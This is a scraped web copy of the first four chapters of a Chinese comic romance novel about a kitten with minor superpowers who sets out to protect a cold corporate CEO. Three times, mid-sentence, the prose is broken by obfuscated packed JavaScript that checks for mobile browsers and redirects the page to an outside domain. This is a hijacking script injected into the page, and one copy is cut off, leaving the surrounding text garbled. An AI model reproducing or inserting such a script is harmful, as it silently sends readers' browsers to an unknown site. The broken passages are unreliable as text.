《流浪猫被霸总养了》 1. 第 1 章 早高峰，市中心十字路口.交通繁忙，疲倦的上班族和背大书包的学生站在斑马线前，等待红灯变绿。太阳从地平线上升起，照着每一个死气沉沉的人。 突然间，一阵惊呼声打破了原有的沉寂。 “啊有小猫！” “天哪，好可爱！还这么小一只！” “小猫你妈妈去哪儿了？哎呀是不是被妈妈抛弃了？跟姨姨回家好不好？” 不知什么时候，人群中出现了一只奶牛猫，粉鼻头，圆眼睛，正开脸，白手套，身上还蓬着一圈绒毛，估计只有两个月大小。两个月大的小奶猫竖起尾巴站在斑马线前，目光锐利，直视前方，一副等待红灯变绿的模样。 看着这一幕，路人惊讶道：“小猫是不是要过马路？” “小猫能看懂红绿灯吗？” “不知道诶，应该看不懂吧。” 话音刚落，红绿灯倒计时结束，奶牛猫迈出小短腿直奔马路对面而去，姿态昂首挺胸，全程小尾巴竖起，看起来自信又神气。 “哇！小猫在过马路！！” “我去！这年头连猫都会过马路了？！” “这只奶牛也太聪明了吧！” 一时间，整个路口的人都看了过来，仿佛在迎接什么大明星。 但幼猫腿短，哪怕它一点儿也没耽搁，但当它走到马路中央时，绿灯已经开始了倒计时。 热心行人和司机打招呼，请他们等小猫过去再启动，司机乐呵呵地摆手说没关系。 在疲倦的工作日看见可爱的小猫咪，大家都忍不住心生怜爱。 人们全方位地配合，却没想到小猫却突然奔跑起来，竟赶在红灯前通过了人行道。 “它怎么突然跑起来了？” “它还会看倒计时？” “不至于吧，可能是看见人都走过去，所以加速了。” “这也很聪明了啊，谁说奶牛颠，简直可爱死了！想养！” 在两脚兽震惊的声音中，小猫已经甩甩尾巴离开了那里。正如它悄悄的来，不带走一片云彩。 接下来的路程依旧充满了挑战，吴雪识破解了两次拐卖，逃脱了一次绑架，费尽千辛万苦终于抵达了此行目的地——古贸壹号。 贸城市中心顶奢大平层，两梯一户，物业费高达30块一平的超级豪宅。 小区大门奢华雅致，连门卫都年轻又帅气，微笑问候每一位出入大门的业主。 吴雪耐心地潜伏在墙角，趁着门卫接电话时匍匐身体，悄无声息地潜进了小区。他又避开了几只好奇的狗，终于找到一片安全领地，靠在墙角松了口气。 “太可怕了！”回忆起这一路遭遇的拐卖和绑架，吴雪心有余悸，“妈妈说得果然没错，人类世界真危险，到处都是试图拐卖、绑架猫猫的人！” 好在小区里没有那些奇奇怪怪的人，吴雪又巡视了一圈大楼，没有发现危险，才在大门旁的灌木丛里打了个盹儿。 不远处有几只流浪猫躺在草地上，和吴雪保持着互不打扰的距离。 古贸壹号是猫咪友好小区，公共区域里设有猫咪之家，放着几个价值不菲的自动喂食器，全自动猫砂盆。在大家的悉心照料下，小区流浪猫全都长得膘肥体壮，有几只小奶猫在草地上玩耍，好奇地打量着一旁的奶牛猫。 吴雪却忽视了对方的邀请信号，他打了个哈欠，缓缓合上了眼睛。 陌生环境，吴雪不敢睡太沉，始终保持着警惕。不知过了多久，原本安静的猫咪全都钻了出来，发出非常谄媚的猫叫声。 高大的单元门打开，一个背双肩包、戴口罩的清瘦男生走出了大楼。和别的投喂者一边喂猫一边撸猫不同，他放下瓷盘就立刻离开了那里。 七八只猫咪一拥而上，进食时发出啧啧的水声。只有一只奶牛猫远远站在一旁，小可怜抢不到饭。 男生朝吴雪走来，说：“第一次看见你，你是新来的吗？” 吴雪：“是啊。” 人听不懂咪说话，只能听出一声喵。 男生笑了下，又问：“你怎么不去吃？是不是挤不进去啊？我这里还有个罐头，我给你开小灶。” “我不吃，”吴雪亮出锋利的爪子说，“我能自己捕猎，不吃人类施舍的东西。” “可怜的小猫，叫得这么厉害，一定是饿惨了，”男生打开罐头放到奶牛猫面前，退了一步说，“快来吃吧。” 吴雪没动，倒是旁边一只肥猫冲过来，一下抢走了他面前的罐头。 “喂！大橘，你刚才已经吃过了，别抢奶牛的罐头。”男生显然已经知道这是一个惯犯。 “喵喵喵！！”大橘吃得更凶了。 男生也没办法了，有些沮丧地向吴雪道歉：“对不起啊，我猫毛过敏，不能和猫抢罐头。” 小奶牛喵了一声，摇头说没关系，还主动后退了一步。 男生看懂了它的肢体语言，很温柔地笑：“这个距离没关系的，宝宝你好乖，我还有猫条，你吃这个吧。” 男生打开猫条递过来，奶牛猫却转身跑进了花园里。 男生好奇地抬起头，才发现原来有人从他身后经过，奶牛猫野性未消，警惕地躲开了。 “……怎么连猫条也不吃，”男生有些失望地垂下眼睛，弯腰看奶牛猫的藏身地，“咪咪，你不会是生病了吧？下次见面哥哥找人带你去检查一下，你这么漂亮，肯定很容易找领养的。” 吴雪安静地躲在花园里，再也没有出去。没过多久，喂食的人离开了，小猫们也吃完了东西，开始舔毛，清理身体。一只和他差不多大的玳瑁猫过来搭话。 “你怎么不吃猫罐头？” “我可以自己捕猎。” “有人投喂，为什么还要自己捕猎？” “因为我是猫。” “我也是猫，但我就不想捕猎。” 吴雪伸出利爪，注视自己可以轻易抓破猎物喉咙的武器，一字一句道：“我要成为最厉害的猎手。” “唉，你真有志气，像我就只想做一只宠物猫，吃喝不愁。” 吴雪说：“你现在也吃喝不愁。” “那不一样，没有主人的猫咪生活总是要困难一些，”玳瑁猫摇头，一脸憧憬地说，“我想找个主人，就像我被领养的三花姐姐一样，它现在也不用和我们抢食了，也不会被大橘欺负，猫生都有了保障。” 吴雪听完，突然沉默了下来。 玳瑁猫安慰他：“别担心啦，你这么可爱，一定很快就能找到主人的。” 吴雪摇头，说：“我不找主人，我已经是别人的主猫了。” 小玳瑁睁大眼睛：“什么？你要做人的主猫？” “嗯，我就是过来找人的，”吴雪看向高耸入云的楼房，语气严肃起来，“我的宠人很脆弱，我要保护他。” · 古贸集团总部第一会议室，气氛肃杀，气压极低。 一众叱咤风云的分公司高管，此刻却不约而同地埋着头，不敢多看长桌尽头的那位一眼。 本次会议进行了2个小时，没有茶歇时间，只有一次秘书进来添茶。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036178|178694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年轻的秘书端着热水壶进来，他还是第一次遇见这样紧张的会议，全程神经紧绷，连大气也不敢出。 不知是不是太过紧张，秘书给集团总裁添茶时，突然手一抖，不小心把茶水洒到了男人身上。一刹那，男人小臂、价值不菲的腕表、包括左手都湿透。 秘书吓得脸刷一下就白了，磕磕绊绊地说：“总裁，对、对不起，我不是故意的……我也不知道怎么了，我……” 热水太烫，总裁手背一片通红。 秘书战战兢兢，几乎快要晕厥。 他以为自己会迎来严厉的惩罚，甚至是被开除，可男人只是摆了摆手，拿出一张手帕擦拭被烫红的手背。 秘书心中忐忑，小声道：“总裁……” “下去吧。”旁边的总助孟知说。 秘书如蒙大赦，落荒而逃。 厚重的会议室大门关闭，小陈抱着茶壶出来，终于松了口气：“吓死我了，我刚才还以为自己要死在会议室了。” “你怎么回事？倒个水也能出问题？”直系领导王秘书提醒，“明知道顾总今天脸色那么难看，你还要往他枪口上撞？” “我也不知道怎么回事，”小陈也很委屈，“我平时都不这样啊，可刚才我过去，就好像突然有什么推了我一下。” “谁能推你，是你太紧张了吧？”王秘书叹了口气，又说，“不过你这也不算太过分，上次有个实习生喝奶茶，喷了顾总一脸。我的天，我都不知道她是怎么活下来的。” 小陈：“顾总也太倒霉了，怪不得最近这么生气。” “顾总生气可不是因为这种小事，”王秘书摇头，神神秘秘地说，“你刚才进去时没听见？顾总可是抓住那几位的把柄，要大义灭亲了。” “我知道，”小陈点头，咋舌道，“不过是顾总继母的旁系亲戚，竟然都敢贪污受贿十位数，胆子也太大了。” “嘘，这些就不是我们能议论的了，专心工作吧。” 会议室里，总助孟知罗列出一项项骇人罪行，包括贪污、受贿、做假账等行径。至此，古贸建筑总经理姚平犯下的所有罪证，终于全部曝光。 在一众锐利的目光中，孟知宣布道：“姚平以非国家工作人员受贿，利用职务便利为他人谋取巨额利益，姚平本人，包括涉事财务、审计、房产项目经理，以及利益链上的所有受益方，均将被依法追究刑事责任。” 姚平起初还嘴硬，听到这里终于双腿一软，哀嚎起来：“侄子，我只是一时鬼迷心窍，求你放过我吧！” 警察鱼贯入内，控制住痛哭流涕的中年男人。 姚平哭着爬过去想抱顾司沉大腿，压根儿没碰到裤脚，就被孟知招呼保安挡下了。 “侄子，我都是为了这个家啊！我可是你的亲舅舅！我……” 孟知一个眼神过去，高大的保安立刻伸手捂住姚平的嘴。 顾光耀看不下去，起身道：“哥，舅舅他不过是……” 顾司沉头都没抬一下，姚婷连忙按住儿子胳膊，沉着脸摇头。 顾光耀欲言又止，又重新坐了回去。 姚平被带出会议室，无一人敢有异议。 顾司沉接手集团五年，从最初跨代传承的重重压力，到如今的雷霆手段，冷峻无情。所有人都明白，顾司沉已经是这艘万亿帝国的实质掌权人。 年轻的总裁面不改色穿过人群，侧脸锋利，如阎罗一般冷酷无情。 直到总裁办大门关闭，顾司沉冷峻的五官突然扭曲。 被烫到的地方，好疼。 2. 第 2 章 “你的宠人真住这里吗？那你怎么还没找到他？要是找不到他，你要怎么办啊？”吴雪捕猎回来，小玳瑁就叽里呱啦冒出一连串问题。 说实话，吴雪也很困惑，他已经在这里守了三天，却一直没有见到宠人的身影。 他的判断不可能出错，猫猫神会把他们投放到目标附近，而恰好这栋楼白光大盛，是能量最高的地方，他的宠人一定住在这里。 可为什么一次也没有碰见？难道说，这栋楼其实还有别的出入口？ 同一时间，一辆黑色轿车驶入茂城壹号停车场，顾司沉进入电梯，和往常一样先去了弟弟顾亭安那里。超高速电梯安静且迅速，两梯一户的配置，让住户几乎不会遇到任何人。 顾司沉人脸识别进入客厅，居家保姆周姨在厨房做饭，听见动静出来打招呼。 “顾先生，您回来了？要一起用饭吗？” “嗯，”顾司沉扫了眼空荡的客厅，问，“小安呢？” “在卧室，”周姨答道，“小顾先生好像感冒了，又不想去医院，自己吃了感冒药休息。” 顾司沉没有评价，走到一旁拨通家庭医生电话：“小安感冒了，麻烦你过来一趟。” 二十分钟后家庭医生抵达，顾亭安被人从被窝里挖起来，有些不悦地嘟哝：“都说了不严重，我吃点药就好了，哪儿用得着叫医生。” 可当着顾司沉的面，他也不敢多说什么，只是不情愿地让医生诊断，开药。 “不用担心，只是轻微的感冒，没有引发炎症。”家庭医生收起设备说，“我先开两天的药，如果没有好转再联系我。用药期间别着凉，少吃生冷辛辣的东西。” 医生离开，兄弟俩坐在餐厅里用饭。 没有人说话，只有餐具碰撞声回荡在华贵冷清的餐厅里，兄弟二人都习惯了这样的安静。 顾亭安食量不大，不一会儿就放下了筷子。 顾司沉这才开口：“下周五空出来，我陪你去复查。” 顾亭安：“好。” 简短的对话结束，客厅再次陷入了安静。 又过了一会儿，顾司沉放缓了语气问：“小宁，你有没有什么想做的事情？” 不管是在公司还是家庭，顾司沉一直是冷淡、严肃的。他是一个负责任的大哥，但缺乏温情。此时突然提起这种事，显得不合时宜又别扭。 顾亭安沉默了一会儿，说：“我想下楼喂猫。” 顾司沉皱眉：“喂猫可以，但我是指别的事情。” 顾亭安：“没有。” 顾司沉欲言又止，但最终没有继续，只是道：“想做什么告诉我，哥帮你。” “我知道了，”顾亭安说，又补充，“谢谢哥。” 吃完午饭，顾亭安迫不及待拿了几个罐头想要下楼喂猫，顾司沉在一旁守着他戴口罩面镜手套。 顾亭安准备充足，端着餐盘出了门。顾司沉跟在他身后，旁边两个黑衣保镖。 顾亭安委婉道：“哥，你去忙也没事儿的，不用特意陪我，别耽误你工作了。” 顾司沉：“不耽误。” 顾司沉一向说一不二，顾亭安对自己这个大哥是又敬又怕，一时间也不敢再说什么。 电梯一路往下，到一楼大堂时，所有工作人员都出来向顾司沉打招呼，连住户都主动问好。 贸城壹号是古贸集团产业，顾司沉出趟门像皇帝出巡，所以顾亭安才不喜欢被跟着。 好在猫咪依旧可爱，虽然这里有猫粮喂食器，但两脚兽可是会喂它们吃罐头，知道罐罐来了，猫咪迅速围过来进食。 两个保镖守在顾亭安旁边，防止小猫靠近。 “大橘、大白、小黑、玳瑁……”顾亭安数了一遍，有些遗憾地说，“我前几天还看到一只奶牛猫，超可爱，今天怎么不在呢？” 顾司沉对猫毫无兴趣，没有发表评价。 喂完猫，二人转身往回走。经过花园时，头顶突然传来一阵清脆的鸟鸣。 顾亭安抬头，看见一只黑羽黄嘴的鸟掠过上空。 他极少外出，对周围的一切都感到兴奋，好奇地抬起头。 话音未落，一抹液体突然从鸟下.体排出，直直瞄准他们上空，不，准确地说是瞄准顾司沉的头顶。 顾亭安大脑有一瞬的空白，两个保镖已经“哗”一声打开长柄雨伞举到他们头顶。 “啪嗒——” 鸟屎落到了漆黑的雨伞上。 黑鸟一击不成，又骂了几句，这才飞走了。 保镖冷静收伞，一套动作堪称行云流水，仿佛早已经排练了无数遍。 顾司沉：“走吧。” 顾亭安：“……” 他有些纳闷：“哥，怎么回事？” 顾司沉：“上个月我路过花园，一只乌鸫幼鸟突然落到了我身上。幼鸟染上了我的气味，鸟母亲就记恨上了我，每次我路过都要喷屎。” 顾亭安：“…………” 怪不得保镖挡屎这么熟练。 · 吴雪巡视完小区，回来又看见玳瑁猫躺在自己领地上舔毛，一副大饱口福的样子。 “你回来啦？”玳瑁猫抬头说，“你去哪儿啦？好心的两脚兽又来喂罐头了。” 吴雪去探索领地了，之前他猜测这栋楼不止一个出入口，下午探索时发现果然如此。除了地面的单元门外，大楼地下还有两层停车场，他的宠人如果开车，就会从里面出入。 这个发现让吴雪有些头疼，两个出入口他一只猫监视不过来，如果在室外找不到人，他打算改变策略进楼里找人。 “小雪小雪，”玳瑁猫洗完脸，又对吴雪说，“罐头还有，你要不要也去吃点儿？” “我不吃……”吴雪话说到一半，突然睁大了眼睛。 他飞快跑到猫咪之家的大脸盆旁，几乎是震惊地看着餐盘，里面白光大盛—— 他的宠人来过这里！难道他的宠人在养别的猫！！！ 喵喵喵喵喵？？？！！！ 吴雪瞬间变成飞机耳，瞳孔放大，声音低沉地问：“谁来过这里？” “你怎么生气啦？”玳瑁猫被吓了一跳。 吴雪：“谁来过这里？” 玳瑁猫：“就是之前一直喂我们的人啊。” “不对，还有别人。”吴雪笃定道。 玳瑁想了想，点头：“好像是哦，还有个很高的雄性人类，但是他太可怕了，我不敢多看他。” 就是他了。 他的宠人，竟在外面喂养别的猫。 吴雪突然转身朝着大楼跑去。 “你去哪儿？” “我要去找他。” 玳瑁猫本来想跟过去，可大楼太可怕了，有许多人经过，还有电梯的轰鸣声，像是一只张着嘴巴准备吃掉它的怪兽。就连它们小区中最胆大的大黄，也不敢轻易踏入那片领地。 玳瑁猫迟疑了几秒，奶牛猫已经消失在了视线里。 小猫打不开防火门，吴雪只能跟着电梯上下，还要提防被遣返，绑架，被狗狗闻屁股。 一夜过去，一无所获。 幸运的是第二天那个猫毛过敏的好心男生又下来了。 “还以为你走了呢，”顾亭安打开猫条递过来，“小猫快吃吧。” 奶牛猫舔了舔鼻子，但还是忍住了，只用一双绿油油的眼睛盯着他。 “警惕性还挺强。”顾亭安分了个小盘递过来，奶牛猫依旧不吃。 顾亭安也没办法了，等猫咪吃完，他收拾餐盘离开。却没想到奶牛猫竟跟了过来，一路跟进电梯，甚至走到了他家门口。 顾亭安打开门，笑着说：“宝宝要跟哥哥回家吗？进来哥哥养你好不好？” 奶牛猫却只是蹲坐在门口，仰着一双炯炯有神的大眼睛，优雅又乖巧，可爱得要命。 顾亭安甚至都在想，如果小猫愿意进来，那他就算天天吃药也要养！ 可奶牛猫没再往里多走一步，哪怕顾亭安主动伸手也不和他接触。太聪明了，仿佛通人性一般。 顾亭安干脆敞开大门，坐在客厅里一边画画，一边看着门外的猫。 周姨害怕猫闯进来，提了好多次要关门，可顾亭安都没有答应。 直到晚上睡觉前，顾亭安再次来到门口，蹲下身对小猫说：“你进不进来呀？我要睡觉了，不进来我就关门了。” 小猫终于站了起来，伸了个懒腰，然后甩甩尾巴走了。 顾亭安笑了下，又忍不住有些失落，原来这只也不是他的小猫。 第二天，顾亭安起床吃饭，听见周姨紧张兮兮地说，他们门口竟然出现了几只老鼠，吓死人了，也不知道是谁的恶作剧。 “老鼠？！”顾亭安连忙跑到门口一看，干干净净，没有任何老鼠的身影，他问周姨，“老鼠呢？” “我丢了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他试图让自己充满威慑力，可两脚兽丝毫不怕，反而很开心地说：“不愧是奶牛，脾气真大，还会哈人呢。” 吴雪亮出獠牙和利爪。 两脚兽哟了一声，新奇道：“还是小奶牙呢，指甲也没剪，果然是流浪猫。” 吴雪：“喵喵喵！！！” 可恶的两脚兽！你绑架猫猫，你犯了猫法！！！ 就在他打算使用猫能力时，突然“叮”的一声响，电梯抵达车库楼层，一个高大的男人走了进来，白光大盛，几乎要亮瞎猫眼。 吴雪：！！！ 他的宠人来了！！！ 吴雪迅速挣扎起来，呜嗷乱叫。 “喵喵喵喵喵！！” “人类快救我！！” “喵喵喵喵喵！！” “你的猫来了！！” 猫叫声太大，男人往这边看了一眼。 “顾总。”女人客客气气地打招呼，又解释，“不好意思啊，刚捡的流浪猫，脾气有点大。” “谢总。”顾司沉打完招呼就移开视线，似乎不打算管了。 吴雪：？ 女人又按下了关门键，她要回去拿猫包，把小猫先送到宠物医院体检。 这时候，吴雪在女人身上闻到了其它猫咪的信息素，很混乱，不止一只猫——可怕的绑架惯犯，绝不能落到她手里！ 他本来不想用猫能力的，但是现在情况紧急，不用不行了。 电梯里，被女人捏住后颈的奶牛猫突然双手合十，对着空气拜了起来。 但就肉眼来看，这是一个非常滑稽可爱的动作，女人忍不住笑了起来。 然而下一刻，她手腕突然一软，竟一点儿力气也没有了。 小猫趁机逃走，迅速躲到男人背后。 女人有些茫然地看着自己手腕，没问题啊，可刚才她怎么突然没力气了？ 女人有些尴尬，看了眼顾司沉。 顾司沉会意，主动往旁边避让，好让对方抓猫。 吴雪：？？？ 难以置信！！！ “不好意思啊。”女人对小猫再次伸手。 然而下一刻，奶牛猫猛地往上一窜，牢牢抓住了顾司沉裤腿。 3. 第 3 章 吴雪是真生气了！！ 宠人不主动过来救他就算了，怎么还敢把他推给别人？！！ 奶牛猫使出浑身力气抓紧男人裤腿，几万块的西裤被猫爪勾丝，直接报废。 “这……”谢总也懵了。毕竟她的钱也不是大风刮来的，如果是自家猫抓坏了别人裤子，她当然愿意赔偿，可她甚至还没来得及把这猫带回家。 好在顾司沉并不小气，没有打骂猫咪，也没有让她赔偿，只是朝她递了个眼神，让她赶紧把猫带走。 “咳咳，不好意思啊。”女人往前一步，再次伸出右手。 却没想到猫动作比她还快，竟然直接爬到了顾司沉后背。这下子不仅是裤子，连西装都要报废了。 女人目瞪口呆地看着这一幕，大脑内发出尖锐爆鸣。 小猫你在干什么啊！知道人家穿的什么吗就敢伸爪子！把你卖了都赔不起！ 这猫实在是棘手，她之前被它可爱的外表诱惑，此刻却突然清醒过来，干笑一声试探道：“小猫好像挺喜欢你的，不然给你？” 顾司沉：“不是你要养？” 谢总笑了下，说：“我是挺想养的，但捡猫也看缘分的，它看起来有点儿排斥我。” 而且这猫性子实在太野，她家里几只原住民，估计没一只能打过奶牛猫。野猫固然好看，但家里的大房二房三房也可人，她舍不得家猫们受委屈。 “叮”一声电梯门打开，男人似乎并不乐意，但也没有多做逗留，后背挂着猫离开了电梯。 吴雪顺势爬到男人肩膀上，挺起胸膛竖起耳朵，仿佛将军准备阅览自己的新领地。然而下一刻，男人单手拎着他后颈皮，把他往门外一放，砰地一声关了门。 吴雪：喵喵喵？？？ “喵！喵喵喵！喵喵喵喵喵喵！喵！喵喵喵喵！！喵喵喵喵喵！！！” 顾司沉不懂猫语，但也知道这猫骂得非常难听。他躲在门后听了十分钟，叫管家把猫带了下去。 吴雪不能上楼了，穿制服的两脚兽严防死守公寓大门，不让猫有任何可能溜进去。 吴雪偷偷跟着人类混进去，还没来得及跑进电梯，就被保安一把抓住后颈，放回了猫咪之家里。 吴雪：“……” 啊啊啊生气！！ 吴雪又试图爬窗进去，可这里的外立面都是光滑的铝板和玻璃，连拐角处都是价值不菲的无框大玻璃。小猫不懂材料有多好，小猫只知道他爬不上去。哪怕他伸出全部爪子都无法附着，只能发出一阵刺耳的滋啦声。 但小猫不会放弃，小猫总有办法进去！ 看着吴雪又一次摔回草地，玳瑁猫很不理解：“你为什么一定要找宠人？我觉得现在的生活也挺好啊。” 吴雪没有回答。 玳瑁猫又说：“而且……我看人家也没有多喜欢你，你送上门人家都不要，不如就和我一起在这里。” 吴雪脑袋埋得更低了，仿佛很伤心的样子。 玳瑁猫懊恼起来，用鼻尖蹭了蹭奶牛猫脸颊：“对不起噢，我不是故意惹你伤心的。” “没关系，”吴雪摇头，“我知道你是为我好，但我必须要和我的宠人在一起。” “为什么啊？” “因为猫猫岛第一杀手对人发动了攻击，我要保护人才行。” 玳瑁猫睁大眼睛：“猫猫岛第一杀手？” “嗯，非常厉害的杀手猫，”吴雪点头，用肯定的语气说，“杀手猫不管抓老鼠、抓蛇还是抓小鸟都非常厉害，甚至在第999届猫猫岛捕猎大赛中拿到了冠军。” 玳瑁猫眼睛睁得更大了：“这么厉害，你不怕吗？” “不怕！”两个月大的奶牛猫挺起毛茸茸的胸膛说，“因为我也很厉害！” 玳瑁猫被震慑住了，它在奶牛猫小小的身躯里看见了大大的能量，连那只最胖的大橘都没有奶牛猫神气。 玳瑁猫肃然起敬，双手合十弯腰道：“老大，受我一拜！请收我当徒弟吧！” 奶牛猫沉思片刻，说：“你是外国猫，学不了我的能力。但如果你还是想学，我可以收你当小弟，教你捕猎技巧。” 玳瑁猫没有妈妈，三花姐姐也被人领养走了，它长得不好看，所以只能一直流浪。幸运的是它投了个好胎，生在了猫咪友好小区，就算不捕猎也可以活下去。可遇见奶牛猫后，它血液中的狩猎本能被唤醒了。 “我想学！”玳瑁猫伸出前爪做出臣服姿势，同时翘起屁股说，“帽帽誓死跟随老大！” “好孩子，”吴雪拍了拍它脑袋，说，“我会教你如何在人类城市里狩猎。” 与此同时，一对陌生的男女走进单元门大厅。吴雪抬头，朝二人看去。 迫不及待想要学习狩猎的玳瑁猫：“老大，怎么了？” 吴雪摇头，收回视线说：“没什么，开始吧。” 楼上，顾司沉接到管家电话。 “顾先生，太太和二少爷又来了，说一定要见您一面，已经持续三天了。您要见一面吗？如果不想见面，我让保安把他们请出去。” 顾司沉：“带他们去会所会客室。” 顾司沉换好衣服下楼，在大厅里看见了姚婷和顾光耀母子，管家表情为难地站在一旁，解释道：“我请他们去会客室，可他们一定要等您一起。” 顾司沉摇头，没有追究责任。 “小沉，好久不见了，”姚婷一身香奈儿小套装，笑容满面地迎了上来，“好久没来看你，希望你不要介意我们临时过来，你爸爸昨天还在说要请你回家吃饭……” “什么事？”顾司沉打断毫无价值的寒暄。 “顾司沉，”顾光耀竖起眉毛，“你能不能对我妈放尊重点儿？” “光耀，怎么和哥哥说话呢？”姚婷沉下脸训斥儿子，又抬起头对顾司沉说，“小沉，我也不想打扰你，但实在是约不到你，才冒昧来这里碰碰运气。光耀舅舅那件事……” 大堂里人来人往，在这里拉扯实在难看，顾司沉打断她的话：“去会客室。” 姚婷一时没有表态，抬头看了顾光耀一眼。直到顾光耀点头，才恢复笑颜说：“瞧我这记性，太紧张都忘了这件事，家丑不可外扬，我们去会客室说。” 会所是一栋单独的建筑，承担健身、游泳、网球、影院、餐饮、待客等功能。四人离开大厅，转身朝外走去。 午后花园阳光明媚，两只小奶猫在草坪上滚来滚去，一幅无忧无虑的样子。空中吊着几个蜘蛛人，是工作人员正在清洗玻璃外墙。 姚婷踩着高跟鞋跟在顾司沉身旁，边走边说：“光耀他舅舅做了这种蠢事，有什么下场都是他活该。我过来也不是向他求情的，就只想问问，看在他上有老下有小的份儿上，能不能撤销 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036180|178694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起诉，只让他归还贪污赃款。” 不远处的草地上，玳瑁猫躺在地上吐舌头，心脏怦怦直跳。 “好累……呼呼呼……累死猫了……” 奶牛猫：“再来。” “不、不行了，”玳瑁猫累成一滩猫饼，摇头道，“我好累，让我歇一会儿。” 奶牛猫有些失望，但也没有多说什么。来到人类世界后，他已经充分了解到了外界猫咪的弱小。 玳瑁猫觉得有点儿丢脸，又不想给老大留下偷懒的印象，于是主动找了个话题：“老大，你刚才说我是外国猫，学不了你的能力。这是怎么回事？” 吴雪用爪子在地面画了两个圈，解释道：“我生在这个地方，你生在这个地方，这个地方的猫猫不会这个地方的能力。” 玳瑁听不懂，又问：“什么能力？” 吴雪沉默了一会儿，压低了声音说：“我只跟你一只猫说，你别告诉别的猫。” 玳瑁猫紧张应道：“我保证保守秘密！” 吴雪凑到玳瑁耳边，小声道：“猫猫岛的猫有超能力。” “超能力！”玳瑁睁大眼睛，弹跳起来。 “嘘！你小声一点！” “噢噢噢对不起，我就是太激动了。”玳瑁猫压低了声音，目光憧憬地说，“老大你有超能力，那是不是可以瞬移、飞行、隐身，打怪兽！保卫地球！” 吴雪一脸莫名：“我只是一只猫，怎么可能做到这些事情？” “啊？”玳瑁猫愣了愣，“那你的超能力可以干什么？” 吴雪：“我跑得比别的猫快，跳得比别的猫高，嗅觉也比别的猫灵敏。” 玳瑁猫有些失望：“这不过是体力稍微好一些吧。” 吴雪：“我还可以听懂人说话。” 玳瑁猫：“我也能听懂。” 吴雪：“……” 玳瑁猫：“那你还有什么本事？” 吴雪深吸一口气，说：“那好，我给你看我的绝技。” 草地旁的花园里，顾司沉站在玻璃幕墙下，冷淡开口：“如果你们是来向姚平求情，那不用再谈了，这件事没有讨论的余地。我见你们是看在亭安的面子上，仅此一次。亭安心软，但我不会。” 顾司沉话音落下，突然起了一阵大风，半空中的蜘蛛人晃荡起来。 “啊——！小心！！” 与此同时，一个物体从半空中砸了一下来。 顾司沉抬头，那东西几乎已经快要砸到了他脑门。 “老板，小心！”管家扑了上来，却还是晚了一步。 可就在顾司沉被砸中前一秒，头顶的东西却瞬间偏移了十几厘米，然后咚一声落到了旁边的草丛里。 是一个塑料刮水刀，本身没有多少杀伤力，但从那么高的地方坠落，还是把植物砍成了两截。如果这个东西落到他头上…… 顾司沉脸色霎时难看起来。 “老板，有没有受伤？”管家着急地护住他身体。 顾司沉摇头，却在这时突然意识到了什么，抬头看向草坪的方向。刚才还在玩耍的奶牛猫突然晕倒，急得旁边那只玳瑁猫喵喵叫。 “喵喵喵！喵喵喵喵喵喵！！” “快来个人看看啊！这里有猫晕倒了！！” 在花园更远的灌木丛里，一只缅因猫悄无声息地退回了阴影里。 4. 第 4 章 吴雪醒来，发现自己躺在一个笼子里，笼子外有人在说话。 “家长您不用太担心，猫咪没有生病，各项指标都非常健康，晕倒可能是中暑了。” “猫刚回家怕人是正常的，只要饮食和排便没问题就行，三周后过来打第二针疫苗吧。” 男人一时间没有回答，倒是笼子里的猫咪叫了起来。 “喵喵喵！！” “我的人！！” “看来它很喜欢您呢，”宠物医生笑着问，“您这边有什么问题吗？” 顾司沉看了奶牛猫几秒，抬头时语气依旧冷漠：“我不养猫，既然没事，我把它放归了。” “喵喵喵！！”笼子里乖巧的猫咪突然叫了起来，双手抓着栅栏，很急切地想碰顾司沉。 顾司沉没动。 “那需要医院给小猫找领养吗？”圆脸医生推了推眼镜，介绍道，“爪爪宠物医院有领养平台，这只奶牛猫很可爱，应该很容易找到家长。” 顾司沉没有回答，医生又说：“这一个月里，附近爆出了好几起猫咪投毒事件，流浪其实不太安全。” 顾司沉依旧没有回答，只是伸手碰了下猫爪子。小猫立刻放软声音，黏糊糊地用脑袋蹭他手指。可他们中间隔着笼子，不管小猫多努力都碰不到顾司沉。 顾司沉把手指伸进笼子，猫立刻用脑袋蹭了过来。 这种感觉很奇怪，小猫身体毛茸茸的，又热又软，脆弱得让他甚至不敢动一下手指。顾司沉身体有些僵硬，但他没有躲开。 “暂时不找领养，”数秒后顾司沉收回手指说，“三周后我带它来打第二针疫苗。” 医生笑眯眯说好。他就知道，没有人能忍心放弃这么可爱的一只小猫。 轿车返回古贸壹号，顾司沉坐在后座，旁边放着装猫的航空箱。 吴雪讨厌坐车，也讨厌被关在笼子里，进车后就一直叫。 顾司沉没办法，只得把猫放出来。 管家担心猫伤人，频频往后回头，却发现猫咪只躺在顾司沉怀中，乖巧得要命。老板看起来也心情不错的样子，管家趁机开口：“老板，事故的调查已经出来了。” 顾司沉：“说。” 